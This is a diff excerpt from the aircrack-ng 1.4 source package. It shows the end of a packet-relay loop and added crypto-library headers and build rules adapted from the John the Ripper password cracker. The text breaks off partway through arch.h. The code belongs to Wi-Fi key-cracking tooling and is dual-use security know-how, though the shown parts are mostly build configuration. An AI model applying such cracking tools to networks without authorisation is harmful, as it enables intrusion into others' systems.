+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			packet_recv(h80211, caplen, &apc, (opt.external & EXT_IN));
+			msleep(1000 / opt.r_nbpps);
+			continue;
+		}
+
+		FD_ZERO(&read_fds);
+		FD_SET(dev.fd_in, &read_fds);
+		FD_SET(ti_fd(dev.dv_ti), &read_fds);
+		if (opt.external)
+		{
+			FD_SET(ti_fd(dev.dv_ti2), &read_fds);
+			ret_val = select(
+				MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1,
+				&read_fds,
+				NULL,
+				NULL,
+				NULL);
+		}
+		else
+			ret_val = select(MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1,
+							 &read_fds,
+							 NULL,
+							 NULL,
+							 NULL);
+		if (ret_val < 0) break;
+		if (ret_val > 0)
+		{
+			if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
+			{
+				len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_xmit(buffer, len);
+				}
+			}
+			if (opt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds))
+			{
+				len = ti_read(dev.dv_ti2, buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_xmit_external(buffer, len, &apc);
+				}
+			}
+			if (FD_ISSET(dev.fd_in, &read_fds))
+			{
+				len = read_packet(buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_recv(buffer, len, &apc, (opt.external & EXT_IN));
+				}
+			}
+		} // if( ret_val > 0 )
+	} // for( ; ; )
 
+	ti_close(dev.dv_ti);
 
-    /* that's all, folks */
+	/* that's all, folks */
 
-    return( 0 );
+	return (0);
 }

aircrack-ng-1.4.tar.gz/src/aircrack-crypto Added

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/MD5_std.h Added

@@ -0,0 +1,222 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-2000,2003,2011 by Solar Designer
+ *
+ * ...with changes in the jumbo patch, by bartavelle and magnum
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * FreeBSD-style MD5-based password hash implementation.
+ */
+
+#ifndef _MD5_STD_H
+#define _MD5_STD_H
+
+#include "arch.h"
+#include "jcommon.h"
+
+typedef ARCH_WORD_32 MD5_word;
+
+/*
+ * Binary ciphertext type.
+ */
+typedef MD5_word MD5_binary[4];
+
+/*
+ * Various structures for internal use.
+ */
+
+typedef union {
+	double dummy;
+	MD5_word w[15];
+	char b[60];
+} MD5_block;
+
+typedef struct
+{
+	int length;
+	MD5_block *even, *odd;
+} MD5_pattern;
+
+typedef struct
+{
+	char s[8];
+	struct
+	{
+		int p, s, ps, pp, psp;
+	} l;
+	struct
+	{
+		MD5_block p, sp, pp, spp;
+	} e;
+	struct
+	{
+		MD5_block p, ps, pp, psp;
+	} o;
+} MD5_pool;
+
+#if !MD5_IMM
+typedef struct
+{
+	MD5_word AC[64];
+	MD5_word IV[4];
+	MD5_word masks[2];
+} MD5_data;
+#endif
+
+#ifdef SIMD_PARA_MD5
+#ifndef SIMD_COEF_32
+#define SIMD_COEF_32 4
+#endif
+#define MD5_N (SIMD_PARA_MD5 * SIMD_COEF_32)
+#else
+#undef MD5_ALGORITHM_NAME
+#if MD5_X2
+#define MD5_N 2
+#define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR " X2"
+#else
+#define MD5_N 1
+#define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR
+#endif
+#endif
+
+typedef struct
+{
+#if !MD5_IMM
+	MD5_data data;
+#endif
+
+	MD5_binary out[MD5_N];
+
+	MD5_block _block[MD5_N];
+	MD5_pattern _order[21][MD5_N];
+	MD5_pool _pool[MD5_N];
+	char * prefix;
+	int prelen;
+} MD5_std_combined;
+
+#if defined(_OPENMP) && !MD5_ASM
+#define MD5_std_mt 1
+#define MD5_std_cpt 128
+#define MD5_std_mt_max (MD5_std_cpt * 576)
+extern MD5_std_combined * MD5_std_all_p;
+extern int MD5_std_min_kpc, MD5_std_max_kpc;
+extern int MD5_std_nt;
+#define MD5_std_all_align 64
+#define MD5_std_all_size                                                       \
+	((sizeof(MD5_std_combined) + (MD5_std_all_align - 1))                      \
+	 & ~(MD5_std_all_align - 1))
+#ifdef __GNUC__
+#define MD5_std_all (*(MD5_std_combined *) ((char *) MD5_std_all_p + t))
+#define for_each_t(n)                                                          \
+	for (t = 0; t < (n) *MD5_std_all_size; t += MD5_std_all_size)
+#define init_t()                                                               \
+	int t = (unsigned int) index / MD5_N * MD5_std_all_size;                   \
+	index = (unsigned int) index % MD5_N;
+#else
+/*
+ * For compilers that complain about the above e.g. with "iteration expression
+ * of omp for loop does not have a canonical shape".
+ */
+#define MD5_std_all                                                            \
+	(*(MD5_std_combined *) ((char *) MD5_std_all_p + t * MD5_std_all_size))
+#define for_each_t(n) for (t = 0; t < (n); t++)
+#define init_t()                                                               \
+	int t = (unsigned int) index / MD5_N;                                      \
+	index = (unsigned int) index % MD5_N;
+#endif
+#else
+#define MD5_std_mt 0
+extern MD5_std_combined MD5_std_all;
+#define for_each_t(n)
+#define init_t()
+#endif
+
+/*
+ * MD5_std_crypt() output buffer.
+ */
+#define MD5_out MD5_std_all.out
+
+// these 2 are still used by the 'para' function
+#define MD5_TYPE_APACHE 1
+#define MD5_TYPE_STD 2
+#define MD5_TYPE_AIX 3
+
+/*
+ * Initializes the internal structures.
+ */
+struct fmt_main;
+extern void MD5_std_init(struct fmt_main * self);
+
+/*
+ * Sets a salt for MD5_std_crypt().
+ */
+extern void MD5_std_set_salt(char * salt);
+
+/*
+ * Sets a key for MD5_std_crypt().
+ * Currently only supports keys up to 15 characters long.
+ */
+extern void MD5_std_set_key(char * key, int index);
+
+/*
+ * Main hashing routine, sets MD5_out.
+ */
+extern void MD5_std_crypt(int count);
+
+/*
+ * Returns the salt for MD5_std_set_salt().
+ */
+extern char * MD5_std_get_salt(char * ciphertext);
+
+/*
+ * Converts an ASCII ciphertext to binary.
+ */
+extern MD5_word * MD5_std_get_binary(char * ciphertext);
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/Makefile.am Added

@@ -0,0 +1,172 @@
+# Aircrack-ng
+#
+# Copyright (C) 2018 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(CRYPTO_INCLUDES) \
+              $(GLIB_CFLAGS)
+
+COMMON_ARCH_FILES =
+if X86
+COMMON_ARCH_FILES += sha1-sse2.S
+endif
+LIBAIRCRACK_CRYPTO_SRCS = memory.c sha1-git.c $(COMMON_ARCH_FILES) simd-intrinsics.c wpapsk.c crypto_engine.c
+
+#
+# Intel/AMD
+#
+libaircrack_crypto_x86_avx512_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
+libaircrack_crypto_x86_avx512_la_CFLAGS = $(x86_avx512_cflags) -DSIMD_CORE -DJOHN_AVX512F $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_x86_avx512_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_x86_avx512_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_crypto_x86_avx2_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
+libaircrack_crypto_x86_avx2_la_CFLAGS = $(x86_avx2_cflags) -DSIMD_CORE -DJOHN_AVX2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_x86_avx2_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_x86_avx2_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_crypto_x86_avx_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
+libaircrack_crypto_x86_avx_la_CFLAGS = $(x86_avx_cflags) -DSIMD_CORE -DJOHN_AVX $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_x86_avx_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_x86_avx_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_crypto_x86_sse2_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
+libaircrack_crypto_x86_sse2_la_CFLAGS = $(x86_sse2_cflags) -DSIMD_CORE -DJOHN_SSE2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_x86_sse2_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_x86_sse2_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+##
+## ARM/AARCH64
+##
+libaircrack_crypto_arm_neon_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
+libaircrack_crypto_arm_neon_la_CFLAGS = $(arm_neon_cflags) -DSIMD_CORE -DHAS_NEON $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_arm_neon_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_arm_neon_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+##
+## PowerPC
+##
+libaircrack_crypto_ppc_altivec_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
+libaircrack_crypto_ppc_altivec_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_ppc_altivec_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_ppc_altivec_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_crypto_ppc_power8_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
+libaircrack_crypto_ppc_power8_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC -DJOHN_POWER8 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_ppc_power8_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_ppc_power8_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+#
+# Generic library
+ARCH_FILES =
+if X86
+ARCH_FILES += sha1-sse2.S
+endif
+libaircrack_crypto_la_CFLAGS = $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_crypto_la_SOURCES = memory.c sha1-git.c wpapsk.c crypto_engine.c $(ARCH_FILES)
+libaircrack_crypto_la_LDFLAGS = -release 1.3.0 -no-undefined
+if !STATIC_CRYPTO
+libaircrack_crypto_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+#
+# Build librarie(s)
+#
+lib_LTLIBRARIES = libaircrack-crypto.la
+
+if ARM
+if NEON
+lib_LTLIBRARIES += libaircrack-crypto-arm-neon.la
+endif
+endif
+if PPC
+if ALTIVEC
+lib_LTLIBRARIES += libaircrack-crypto-ppc-altivec.la
+endif
+if POWER8
+lib_LTLIBRARIES += libaircrack-crypto-ppc-power8.la
+endif
+endif
+if X86
+if AVX512F
+lib_LTLIBRARIES += libaircrack-crypto-x86-avx512.la
+endif
+lib_LTLIBRARIES += libaircrack-crypto-x86-avx2.la libaircrack-crypto-x86-avx.la libaircrack-crypto-x86-sse2.la
+endif
+
+EXTRA_DIST =	aligned.h \
+				arch.h \
+				crypto_engine.c \
+				crypto_engine.h \
+				jcommon.h \
+				johnswap.h \
+				md5.h \
+				MD5_std.h \
+				memdbg.h \
+				memory.c \
+				memory.h \
+				misc.h \
+				pseudo_intrinsics.h \
+				sha1-git.c \
+				sha1-git.h \
+				sha1-sse2.h \
+				sha1-sse2.S \
+				simd-intrinsics.c \
+				simd-intrinsics.h \
+				simd-intrinsics-load-flags.h \
+				wpapsk.c \
+				wpapsk.h
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/aligned.h Added

@@ -0,0 +1,63 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software was written by JimF jfoug AT cox dot net
+ * in 2013. No copyright is claimed, and the software is hereby
+ * placed in the public domain. In case this attempt to disclaim
+ * copyright and place the software in the public domain is deemed
+ * null and void, then the software is Copyright (c) 2013 JimF
+ * and it is hereby released to the general public under the following
+ * terms: This software may be modified, redistributed, and used for any
+ * purpose, in source and binary forms, with or without modification.
+ */
+
+#ifndef _ALIGNED_H_
+#define _ALIGNED_H_
+
+#if defined(__GNUC__)
+#define JTR_ALIGN(n) __attribute__((aligned(n)))
+#elif defined(_MSC_VER)
+#define JTR_ALIGN(n) __declspec(align(n))
+#else
+#define JTR_ALIGN(n)
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/arch.h Added

@@ -0,0 +1,524 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 2003,2006,2008,2010,2011,2015 by Solar Designer
+ *
+ * ...with a trivial change in the jumbo patch, by Alain Espinosa.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Architecture specific parameters for x86-64.
+ */
+
+#ifndef _ARCH_H
+#define _ARCH_H
+
+#if (defined(__ARM_NEON) && !defined(__ARM_NEON__)) || defined(__aarch64)      \
+	|| defined(__aarch64__)
+#define __ARM_NEON__ 1
+#endif
+
+#if (defined(__ARM_NEON__) && !defined(__ARM_NEON)) || defined(__aarch64)      \
+	|| defined(__aarch64__)
+#define __ARM_NEON 1
+#endif
+
+#ifdef __ARM_NEON__
+#define SHA_BUF_SIZ 16
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+#ifndef SIMD_PARA_MD4
+#define SIMD_PARA_MD4 2
+#endif
+#ifndef SIMD_PARA_MD5
+#define SIMD_PARA_MD5 2
+#endif
+#ifndef SIMD_PARA_SHA1
+#define SIMD_PARA_SHA1 1
+#endif
+#ifndef SIMD_PARA_SHA256
+#define SIMD_PARA_SHA256 1
+#endif
+#ifndef SIMD_PARA_SHA512
+#define SIMD_PARA_SHA512 1
+#endif
+#endif
+
+#if defined(JOHN_ALTIVEC)
+#define SHA_BUF_SIZ 16
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+
+#ifndef SIMD_PARA_MD4
+#define SIMD_PARA_MD4 1
+#endif
+#ifndef SIMD_PARA_MD5
+#define SIMD_PARA_MD5 1
+#endif
+#ifndef SIMD_PARA_SHA1
+#define SIMD_PARA_SHA1 1
+#endif
+#ifndef SIMD_PARA_SHA256
+#define SIMD_PARA_SHA256 1
+#endif
+#ifndef SIMD_PARA_SHA512
+#define SIMD_PARA_SHA512 1
+#endif
+
+#endif
+
+#if AC_BUILT
+#include "autoconfig.h"
+#else
+#if defined(__ILP32__) || defined(_WIN64) || defined(__LLP64__)                \
+	|| (defined(__SIZE_OF_LONG__) && __SIZEOF_LONG__ == 4)
+#define ARCH_WORD long long
+#else
+#define ARCH_WORD long
+#endif
+#define ARCH_SIZE 8
+#define ARCH_BITS 64
+#define ARCH_BITS_LOG 6
+#define ARCH_BITS_STR "64"
+#define ARCH_LITTLE_ENDIAN 1
+#define ARCH_INT_GT_32 0
+#endif
+
+#define ARCH_ALLOWS_UNALIGNED 1
+#define ARCH_INDEX(x) ((unsigned int) (unsigned char) (x))
+
+#define CPU_DETECT 0
+
+#ifdef __SSE2__
+#define CPU_NAME "SSE2"
+#endif
+
+#if __SSSE3__ || JOHN_SSSE3
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_SSSE3 1
+#undef CPU_NAME
+#define CPU_NAME "SSSE3"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-ssse3"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#if __SSE4_1__ || JOHN_SSE4_1
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_SSE4_1 1
+#undef CPU_NAME
+#define CPU_NAME "SSE4.1"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-sse4.1"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#if __AVX512F__ || JOHN_AVX512F
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX512F 1
+#undef CPU_NAME
+#define CPU_NAME "AVX512F"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx512f"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#if __AVX512BW__ || JOHN_AVX512BW
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX512BW 1
+#undef CPU_NAME
+#define CPU_NAME "AVX512BW"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx512bw"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#ifdef __XOP__
+#define JOHN_XOP 1
+#endif
+#if defined(__AVX__) || defined(JOHN_XOP) || defined(JOHN_AVX2)
+#define JOHN_AVX 1
+#endif
+
+#define DES_ASM 0
+#define DES_128K 0
+#define DES_X2 0
+#define DES_MASK 1
+#define DES_SCALE 1
+#define DES_EXTB 1
+#define DES_COPY 0
+#define DES_BS 1
+#if !defined(__SSE2__)
+#define DES_BS_VECTOR 0
+#define DES_BS_ALGORITHM_NAME "DES 64/64"
+#elif defined(JOHN_AVX) && (defined(__GNUC__) || defined(_OPENMP))
+/*
+ * Require gcc for AVX/XOP because DES_bs_all is aligned in a gcc-specific way,
+ * except in OpenMP-enabled builds, where it's aligned by different means.
+ */
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX 1
+#undef CPU_NAME
+#define CPU_NAME "AVX"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#define DES_BS_ASM 0
+#if 0
+/* 512-bit as 2x256 */
+#define DES_BS_VECTOR 8
+#if defined(JOHN_XOP) && defined(__GNUC__)
+/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 256/256 X2 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 256/256 X2 AVX-16"
+#endif
+#elif 0
+/* 384-bit as 256+128 */
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 6
+#if defined(JOHN_XOP) && defined(__GNUC__)
+/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 256/256 XOP-16 + 128/128 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 128/128 AVX-16"
+#endif
+#elif 0
+/* 384-bit as 256+64+64 */
+#define DES_BS_NO_AVX128
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 6
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64 MMX + 64/64"
+#elif 0
+/* 320-bit as 256+64 MMX */
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 5
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64 MMX"
+#elif 0
+/* 320-bit as 256+64 */
+#define DES_BS_NO_MMX
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 5
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64"
+#elif __AVX2__ || JOHN_AVX2
+/* 256-bit as 1x256 */
+#define DES_BS_VECTOR 4
+#undef CPU_NAME
+#define CPU_NAME "AVX2"
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX2 1
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx2"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX2-16"
+#elif 0
+/* 256-bit as 2x128 */
+#define DES_BS_NO_AVX256
+#define DES_BS_VECTOR 4
+#ifdef JOHN_XOP
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 AVX-16"
+#endif
+#else
+/* 128-bit */
+#define DES_BS_VECTOR 2
+#ifdef JOHN_XOP
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 128/128 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 128/128 AVX-16"
+#endif
+#endif
+#elif (defined(__SSE2__) && defined(_OPENMP))
+#define DES_BS_ASM 0
+#if 1
+#define DES_BS_VECTOR 2
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16"
+#elif 0
+#define DES_BS_VECTOR 3
+#define DES_BS_VECTOR_SIZE 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64 MMX"
+#elif 0
+#define DES_BS_NO_MMX
+#define DES_BS_VECTOR 3
+#define DES_BS_VECTOR_SIZE 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64"
+#elif 0
+#define DES_BS_NO_MMX
+#define DES_BS_VECTOR 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 SSE2-16"
+#else
+#define DES_BS_VECTOR 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64 MMX + 64/64"
+#endif
+#else
+#define DES_BS_ASM 1
+#define DES_BS_VECTOR 2
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16"
+#endif
+#define DES_BS_EXPAND 1
+
+#if CPU_DETECT && DES_BS == 3
+#define CPU_REQ_XOP 1
+#undef CPU_NAME
+#define CPU_NAME "XOP"
+#ifdef CPU_FALLBACK_BINARY_DEFAULT
+#undef CPU_FALLBACK_BINARY
+#define CPU_FALLBACK_BINARY "john-non-xop"
+#endif
+#endif
+
+#define MD5_ASM 0
+#define MD5_X2 1
+#define MD5_IMM 1
+
+#ifdef __GNUC__
+#define GCC_VERSION                                                            \
+	(__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)
+#endif
+
+#ifdef __SSE2__
+
+#if __AVX512F__
+#define SIMD_COEF_32 16
+#define SIMD_COEF_64 8
+#elif __AVX2__
+#define SIMD_COEF_32 8
+#define SIMD_COEF_64 4
+#elif __SSE2__
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+#endif
+
+/*
+#ifndef SIMD_PARA_MD4
+#if defined(__INTEL_COMPILER)
+#define SIMD_PARA_MD4			3
+#elif defined(__clang__)
+#define SIMD_PARA_MD4			4
+#elif defined(__llvm__)
+#define SIMD_PARA_MD4			3
+#elif defined(__GNUC__) && GCC_VERSION < 40405	// 4.4.5
+#define SIMD_PARA_MD4			1
